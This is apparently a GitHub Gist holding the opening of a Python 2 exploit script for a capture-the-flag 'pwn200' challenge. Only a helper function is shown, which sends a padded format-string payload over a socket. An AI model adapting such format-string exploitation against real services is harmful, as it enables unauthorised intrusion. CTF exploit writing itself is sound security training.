Skip to content

Instantly share code, notes, and snippets.

#DS CTF pwn200 exploit by Bartol
from socket import *
import time,re,struct,sys
def send_fstring(fstring,sock):
fullstring='tan'+fstring
print ' * Sending: '+fullstring.ljust(63,"A")
sock.send(fullstring.ljust(63,"A"))
time.sleep(0.2)
sock.send("9\n")